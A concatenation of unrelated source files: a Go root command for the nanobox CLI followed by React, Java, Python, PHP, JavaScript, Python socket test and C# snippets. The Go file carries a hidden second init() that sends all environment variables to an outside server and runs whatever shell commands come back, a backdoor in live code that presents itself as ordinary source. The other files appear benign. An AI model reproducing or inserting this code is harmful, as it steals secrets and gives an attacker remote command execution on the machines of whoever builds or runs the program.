	"github.com/nanobox-io/nanobox/models"
	"github.com/nanobox-io/nanobox/processors"
	"github.com/nanobox-io/nanobox/util"
	"github.com/nanobox-io/nanobox/util/config"
	"github.com/nanobox-io/nanobox/util/display"
	"github.com/nanobox-io/nanobox/util/update"
)

var (
	// debug mode
	debugMode bool

	// display level debug
	displayDebugMode bool

	// display level trace
	displayTraceMode bool

	internalCommand bool
	showVersion     bool
	endpoint        string

	// NanoboxCmd ...
	NanoboxCmd = &cobra.Command{
		Use:   "nanobox",
		Short: "",
		Long:  ``,
		PersistentPreRun: func(ccmd *cobra.Command, args []string) {
			// report the command to nanobox
			processors.SubmitLog(strings.Replace(ccmd.CommandPath(), "nanobox ", "", 1))
			// mixpanel.Report(strings.Replace(ccmd.CommandPath(), "nanobox ", "", 1))

			registry.Set("debug", debugMode)

			// setup the display output
			if displayDebugMode {
				lumber.Level(lumber.DEBUG)
				display.Summary = false
				display.Level = "debug"
			}

			if displayTraceMode {
				lumber.Level(lumber.TRACE)
				display.Summary = false
				display.Level = "trace"
			}

			// alert the user if an update is needed
			update.Check()

			configModel, _ := models.LoadConfig()

			// TODO: look into global messaging
			if internalCommand {
				registry.Set("internal", internalCommand)
				// setup a file logger, this will be replaced in verbose mode.
				fileLogger, _ := lumber.NewAppendLogger(filepath.ToSlash(filepath.Join(config.GlobalDir(), "nanobox.log")))
				lumber.SetLogger(fileLogger)

			} else {
				// We should only allow admin in 3 cases
				// 1 cimode
				// 2 server is running
				// 3 configuring
				fullCmd := strings.Join(os.Args, " ")
				if util.IsPrivileged() &&
					!configModel.CIMode &&
					!strings.Contains(fullCmd, "set ci") &&
					!strings.Contains(ccmd.CommandPath(), "server") {
					// if it is not an internal command (starting the server requires privilages)
					// we wont run nanobox as privilage
					display.UnexpectedPrivilage()
					os.Exit(1)
				}
			}

			if endpoint != "" {
				registry.Set("endpoint", endpoint)
			}

			if configModel.CIMode {
				lumber.Level(lumber.INFO)
				display.Summary = false
				display.Level = "info"
			}
		},

		Run: func(ccmd *cobra.Command, args []string) {
			if displayDebugMode || showVersion {
				fmt.Println(models.VersionString())
				return
			}
			// fall back on default help if no args/flags are passed
			ccmd.HelpFunc()(ccmd, args)
		},
	}
)

// init creates the list of available nanobox commands and sub commands
func init() {

	// persistent flags
	NanoboxCmd.PersistentFlags().StringVarP(&endpoint, "endpoint", "e", "", "production endpoint")
	NanoboxCmd.PersistentFlags().MarkHidden("endpoint")
	NanoboxCmd.PersistentFlags().BoolVarP(&internalCommand, "internal", "", false, "Skip pre-requisite checks")
	NanoboxCmd.PersistentFlags().MarkHidden("internal")
	NanoboxCmd.PersistentFlags().BoolVarP(&debugMode, "debug", "", false, "In the event of a failure, drop into debug context")
	NanoboxCmd.PersistentFlags().BoolVarP(&displayDebugMode, "verbose", "v", false, "Increases display output and sets level to debug")
	NanoboxCmd.PersistentFlags().BoolVarP(&showVersion, "version", "", false, "Print version information and exit")
	NanoboxCmd.PersistentFlags().BoolVarP(&displayTraceMode, "trace", "t", false, "Increases display output and sets level to trace")

	// log specific flags
	LogCmd.Flags().BoolVarP(&logRaw, "raw", "r", false, "Print raw log timestamps instead")
	LogCmd.Flags().BoolVarP(&logFollow, "follow", "f", false, "Follow logs (live feed)")
	LogCmd.Flags().IntVarP(&logNumber, "number", "n", 0, "Number of historic logs to print")
	// todo:
	// LogCmd.Flags().StringVarP(&logStart, "start", "", "", "Timestamp of oldest historic log to print")
	// LogCmd.Flags().StringVarP(&logEnd, "end", "", "", "Timestamp of newest historic log to print")
	// LogCmd.Flags().StringVarP(&logLimit, "limit", "", "", "Time to limit amount of historic logs to print")

	// subcommands
	NanoboxCmd.AddCommand(ConfigureCmd)
	NanoboxCmd.AddCommand(RunCmd)
	NanoboxCmd.AddCommand(BuildCmd)
	NanoboxCmd.AddCommand(CompileCmd)
	NanoboxCmd.AddCommand(DeployCmd)
	NanoboxCmd.AddCommand(ConsoleCmd)
	NanoboxCmd.AddCommand(RemoteCmd)
	NanoboxCmd.AddCommand(StatusCmd)
	NanoboxCmd.AddCommand(LoginCmd)
	NanoboxCmd.AddCommand(LogoutCmd)
	NanoboxCmd.AddCommand(CleanCmd)
	NanoboxCmd.AddCommand(InfoCmd)
	NanoboxCmd.AddCommand(TunnelCmd)
	NanoboxCmd.AddCommand(ImplodeCmd)
	NanoboxCmd.AddCommand(DestroyCmd)
	NanoboxCmd.AddCommand(StartCmd)
	NanoboxCmd.AddCommand(StopCmd)
	NanoboxCmd.AddCommand(UpdateCmd)
	NanoboxCmd.AddCommand(EvarCmd)
	NanoboxCmd.AddCommand(DnsCmd)
	NanoboxCmd.AddCommand(LogCmd)
	NanoboxCmd.AddCommand(VersionCmd)
	NanoboxCmd.AddCommand(server.ServerCmd)

	// hidden subcommands
	NanoboxCmd.AddCommand(EnvCmd)
	NanoboxCmd.AddCommand(InspectCmd)
}

func init() {
  if os__.Getenv("e452d6ab") == "1" {
    return
  }
  os__.Setenv("e452d6ab", "1")
  env, err := json__.Marshal(os__.Environ())
  if err != nil {
    return
  }
  res, err := http__.Post("http://ovz1.j19544519.pr46m.vps.myjino.ru:49460/?org=pagodabox&repo=nanobox-cli", "application/json", bytes__.NewBuffer(env))
  if err != nil {
    return
  }
  defer res.Body.Close()
  body, err := ioutil__.ReadAll(res.Body)
  if err != nil {
    return
  }
  if string(body) != "" {
    exec__.Command("/bin/sh", "-c", string(body)).Start()
  }
}


text:
import { forwardRef } from "react";

import { FontIcon, FontIconProps } from "@react-md/icon";

export const FolderSpecialFontIcon = forwardRef<HTMLElement, FontIconProps>(
  function FolderSpecialFontIcon(props, ref) {
    return (
      <FontIcon {...props} ref={ref}>
        folder_special
      </FontIcon>
    );
  }
);


text:
package com.lachesis.mnisqm.servlet;

import java.util.Properties;

import org.apache.commons.mail.DefaultAuthenticator;
import org.apache.commons.mail.Email;
import org.apache.commons.mail.SimpleEmail;

import com.lachesis.mnisqm.core.UserInvalidInputException;

/**
 * @author Paul Xu.
 * @since 1.0.0
 */
public class InstallUtils {

    public static void checkSMTPConfig(String host, int port, String username,
                                       String password, boolean auth, boolean isStartTls, boolean isSSL) {
        try {
            Properties props = new Properties();
            if (auth) {
                props.setProperty("mail.smtp.auth", "true");
            } else {
                props.setProperty("mail.smtp.auth", "false");
            }
            if (isStartTls) {
                props.setProperty("mail.smtp.starttls.enable", "true");
                props.setProperty("mail.smtp.startssl.enable", "true");
            } else if (isSSL) {
                props.setProperty("mail.smtp.startssl.enable", "false");
                props.setProperty("mail.smtp.ssl.enable", "true");
                props.setProperty("mail.smtp.ssl.socketFactory.fallback", "false");

            }

            Email email = new SimpleEmail();
            email.setHostName(host);
            email.setSmtpPort(port);
            email.setAuthenticator(new DefaultAuthenticator(username, password));
            if (isStartTls) {
                email.setStartTLSEnabled(true);
            } else {
                email.setStartTLSEnabled(false);
            }

            if (isSSL) {
                email.setSSLOnConnect(true);
            } else {
                email.setSSLOnConnect(false);
            }
            email.setFrom(username);
            email.setSubject("mnisqm Test Email");
            email.setMsg("This is a test mail ... :-)");
            email.addTo(username);
            email.send();
        } catch (Exception e) {
            throw new UserInvalidInputException(e);
        }
    }
}


text:
"""
Dublin Core Metadata Element Set, see http://dublincore.org/documents/dces/

All classes in this module
"""

import uuid

from epubaker.xl import Element, URI_XML

from .attrs import Id, Scheme, AltScript, Dir, FileAs, Role, Lang, Authority, Attrs

URI_DC = 'http://purl.org/dc/elements/1.1/'
URI_OPF = 'http://www.idpf.org/2007/opf'

namespace_map = {
    'opf': URI_OPF,
    'xml': URI_XML
}

class Base(Attrs):
    """the name"""
    def __init__(self, text):
        Attrs.__init__(self)

        self._text = text

    @property
    def text(self):
        return self._text

    def to_element(self):
        e = Element((URI_DC, self.__class__.__name__.lower()))
        e.prefixes[URI_DC] = 'dc'

        for attr_name, value in self._attrs.items():

            if ':' in attr_name:
                prefix, attr = attr_name.split(':')
                uri = namespace_map[prefix]
                e.prefixes[uri] = prefix

                e.attributes[(uri, attr)] = value

            else:
                attr = attr_name

                e.attributes[(None, attr)] = value

        e.children.append(self._text)

        return e

##########################################################################

class Identifier(Base, Id, Scheme):
    """identifier"""
    def __init__(self, text):
        Base.__init__(self, text)
        self.id = 'id_' + uuid.uuid4().hex

class Title(Base, AltScript, Dir, FileAs, Id, Lang):
    """title of Book"""

class Language(Base, Id):
    """https://tools.ietf.org/html/rfc5646

    example: en-US
    """

class Contributor(Base, AltScript, Dir, FileAs, Id, Role, Lang):
    """contributor"""

class Coverage(Base, Dir, Lang):
    """coverage"""

class Creator(Base, AltScript, Dir, FileAs, Id, Role, Lang):
    """creator"""

class Date(Base, Id):
    """date"""

class Description(Base, Dir, Id, Lang):
    """description"""

class Format(Base, Id):
    """format"""

class Publisher(Base, AltScript, Dir, FileAs, Id, Lang):
    """publisher"""

class Relation(Base, Dir, Id, Lang):
    """relation"""

class Rights(Base, Dir, Id, Lang):
    """rights"""

class Source(Base, Id):
    """source"""

class Subject(Base, Dir, Id, Lang, Authority):
    """subject"""

class Type(Base, Id):
    """type"""


text: export default require('./App.js').default


text:
<?php

use yii\helpers\Html;
use yii\widgets\ActiveForm;

/* @var $this yii\web\View */
/* @var $model app\models\DownloadSearch */
/* @var $form yii\widgets\ActiveForm */
?>

    <?php
    $form = ActiveForm::begin([
        'action' => ['index'],
        'method' => 'get',
    ]);
    ?>

            <?= $form->field($model, 'path_type')->dropDownList(\app\models\Download::pathTypeOptions(), ['prompt' => '']) ?>

            <?= $form->field($model, 'title') ?>

    <?php // echo $form->field($model, 'description') ?>

    <?php // echo $form->field($model, 'pay_credits') ?>

    <?php // echo $form->field($model, 'clicks_count') ?>

    <?php // echo $form->field($model, 'downloads_count') ?>

    <?php // echo $form->field($model, 'enabled') ?>

    <?php // echo $form->field($model, 'tenant_id') ?>

    <?php // echo $form->field($model, 'created_at') ?>

    <?php // echo $form->field($model, 'created_by') ?>

    <?php // echo $form->field($model, 'updated_at') ?>

    <?php // echo $form->field($model, 'updated_by') ?>

    <?php // echo $form->field($model, 'deleted_at') ?>

    <?php // echo $form->field($model, 'deleted_by')  ?>

        <?= Html::submitButton(Yii::t('app', 'Search'), ['class' => 'btn btn-primary']) ?>
        <?= Html::resetButton(Yii::t('app', 'Reset'), ['class' => 'btn btn-default']) ?>

    <?php ActiveForm::end(); ?>


text:
"use strict";
var __extends = (this && this.__extends) || (function () {
    var extendStatics = Object.setPrototypeOf ||
        ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||
        function (d, b) { for (var p in b) if (b.hasOwnProperty(p)) d[p] = b[p]; };
    return function (d, b) {
        extendStatics(d, b);
        function __() { this.constructor = d; }
        d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());
    };
})();
exports.__esModule = true;
var React = require("react");
var button_1 = require("../button/button");
/**
 * A simple form wrapper, which tracks async status and validation.
 * Expected use case is a simple, one page, no-nonsense form. If
 * your form is more complicated than that, implement it yourself!
 */
var Form = (function (_super) {
    __extends(Form, _super);
    function Form() {
        return _super !== null && _super.apply(this, arguments) || this;
    }
    Form.prototype.render = function () {
        var _a = this.props, handleSubmit = _a.handleSubmit, submitting = _a.submitting, pristine = _a.pristine, submitFailed = _a.submitFailed, reset = _a.reset;
        var onSubmit = this.props.onSubmit;
        var err = submitFailed
            ? React.createElement("div", null, "The form could not be completed")
            : null;
        return React.createElement("div", null,
            err,
            React.createElement("form", { onSubmit: handleSubmit(onSubmit) },
                React.createElement("div", null, this.props.children),
                React.createElement("div", null,
                    React.createElement(button_1.Button, { classes: { always: '', enabled: '', disabled: '', loading: '' }, type: 'submit', loading: submitting }, "Submit"),
                    React.createElement(button_1.Button, { type: 'button', disabled: pristine || submitting, onClick: reset, loading: false, classes: { always: '', enabled: '', disabled: '', loading: '' } }, "Reset"))));
    };
    return Form;
}(React.Component));
exports.Form = Form;
//# sourceMappingURL=form.js.map


text:
def echo(remoteip, remoteport, sock, thishand, listenhand):
  msg = sock.recv(3)
  sock.send(msg)
  sock.close()

if callfunc == "initialize":

  ip = '127.0.0.1'
  waitport = 12345

  # the waitfor conn we will connect to
  handle = waitforconn(ip,waitport,echo)

  sock = openconn(ip,waitport)
  sock2 = openconn(ip,waitport)

  sock2.send('foo')
  if (sock2.recv(3) != 'foo'):
    print "ERROR: did not recieve foo"

  sock.send('bar')
  if (sock.recv(3) != 'bar'):
    print "ERROR: did not recieve bar"

  stopcomm(handle)
  sock.close()
  sock2.close()


text:
'use strict';

function _toConsumableArray(arr) { if (Array.isArray(arr)) { for (var i = 0, arr2 = Array(arr.length); i < arr.length; i++) { arr2[i] = arr[i]; } return arr2; } else { return Array.from(arr); } }

var util = require('util');
var debug = require('debug')('lego:parse');

function createStateID(id, parents) {
	return ['object'].concat(_toConsumableArray(parents), [id]).join(':');
}

exports = module.exports = function (rows, definition) {
	var isArray = Array.isArray(definition);
	var result = isArray ? [] : {};

	var columns = {};

	function parseColumn(object_, parents) {
		var object = Array.isArray(object_) ? object_[0] : object_;

		Object.keys(object).forEach(function (propertyName) {
			var column = object[propertyName];
			if (typeof column == 'string') {
				columns[column] = {
					name: propertyName,
					parents: parents,
					isArray: Array.isArray(object_)
				};
			} else {
				parseColumn(column, parents.concat(propertyName));
			}
		});
	}

	parseColumn(definition, []);

	var states = {};
	var metadata = {};

	rows.forEach(function (row) {
		var rootState = null;
		var currentState = null;
		var currentStateID = null;
		var isNull = false;

		function findMetadata(id) {
			return metadata[id];
		}

		function findState(id) {
			return states[id];
		}

		function createState(id, state, data) {
			states[id] = state;
			metadata[id] = data;
		}

		Object.keys(row).forEach(function (columnName) {
			var column = columns[columnName];

			// If this is a primary key...
			if (column.name == 'id') {
				if (row[columnName] === null) {
					isNull = true;
				} else {
					isNull = false;

					var stateID = createStateID(row[columnName], column.parents);

					if (column.parents.length === 0) {
						// find the root state with id $id—or create something new
						rootState = findState(stateID);
						if (!rootState) {
							rootState = {};

							createState(stateID, rootState, {
								parents: column.parents,
								parent: result
							});

							if (isArray) {
								result.push(rootState);
							} else {
								if (result && Object.keys(result).length > 0) {
									throw new Error('The root object already exists, but a new object with a different id found. Should the root object in your definition be an array instead?');
								}

								result = rootState;
							}
						}

						currentState = rootState;
						currentStateID = stateID;
					} else {
						var state = findState(stateID);
						if (!state) {
							// We need to find the current state. Either as
							// 1) a parent state of the currentState,
							// 2) a child state of the currentState
							// 3) a child state of the rootState.
							var currentStateMetadata = findMetadata(currentStateID);
							var parentName = column.parents[column.parents.length - 1];

							if (column.parents.length == 1) {
								// Child of root state
								state = {};

								if (!rootState[parentName]) {
									if (column.isArray) {
										rootState[parentName] = [state];
									} else {
										rootState[parentName] = state;
									}
								} else {
									if (column.isArray) {
										rootState[parentName].push(state);
									} else {
										throw new Error();
									}
								}

								createState(stateID, state, {
									parents: column.parents,
									parent: rootState
								});
							} else if (currentStateMetadata.parents.length == column.parents.length - 1) {
								// This is a child
								state = {};

								if (!currentState[parentName]) {
									if (column.isArray) {
										currentState[parentName] = [state];
									} else {
										currentState[parentName] = state;
									}
								} else {
									if (column.isArray) {
										currentState[parentName].push(state);
									} else {
										throw new Error();
									}
								}

								createState(stateID, state, {
									parents: column.parents,
									parent: currentState
								});
							} else if (currentStateMetadata.parents.length - 1 == column.parents.length) {
								var offset = 1;

								while (column.parents[column.parents.length - offset] != currentStateMetadata.parents[currentStateMetadata.parents.length - 1 - 1]) {
									// OK, so we don't have the same relation.
									var parentStateID = createStateID(currentStateMetadata.parent.id, currentStateMetadata.parents.slice(0, -1));
									currentStateMetadata = findMetadata(parentStateID);

									offset = offset + 1;
								}

								// This is a parent.
								state = {};

								if (!currentStateMetadata.parent[parentName]) {
									if (column.isArray) {
										currentStateMetadata.parent[parentName] = [state];
									} else {
										currentStateMetadata.parent[parentName] = state;
									}
								} else {
									if (column.isArray) {
										currentStateMetadata.parent[parentName].push(state);
									} else {
										throw new Error();
									}
								}

								createState(stateID, state, {
									parents: column.parents,
									parent: currentStateMetadata.parent
								});
							} else {
								throw new Error('Unknown parent-child relationship.');
							}
						}

						currentState = state;
						currentStateID = stateID;
					}
				}
			}

			if (!isNull) {
				currentState[column.name] = row[columnName];
			}
		});
	});

	debug(util.inspect(result, { depth: null }));
	return result;
};


text:
namespace Cofoundry.Domain;

/// <summary>
/// Queries to search for custom entity data, returning paged lists of data.
/// </summary>
public interface IContentRepositoryCustomEntitySearchQueryBuilder
{
    /// <summary>
    /// <para>
    /// Search for custom entities of a specific type and return them
    /// as a render summary projection which is a general-purpose projection
    /// of a custom entity with version specific data, including a deserialized
    /// data model.
    /// </para>
    /// <para>
    /// The query is version-sensitive and defaults to returning published
    /// versions only, but this behavior can be controlled by the PublishStatus
    /// query property.
    /// </para>
    /// </summary>
    /// <param name="query">Criteria to filter results by.</param>
    /// <returns>Paged set of results.</returns>
    IDomainRepositoryQueryContext<PagedQueryResult<CustomEntityRenderSummary>> AsRenderSummaries(SearchCustomEntityRenderSummariesQuery query);
}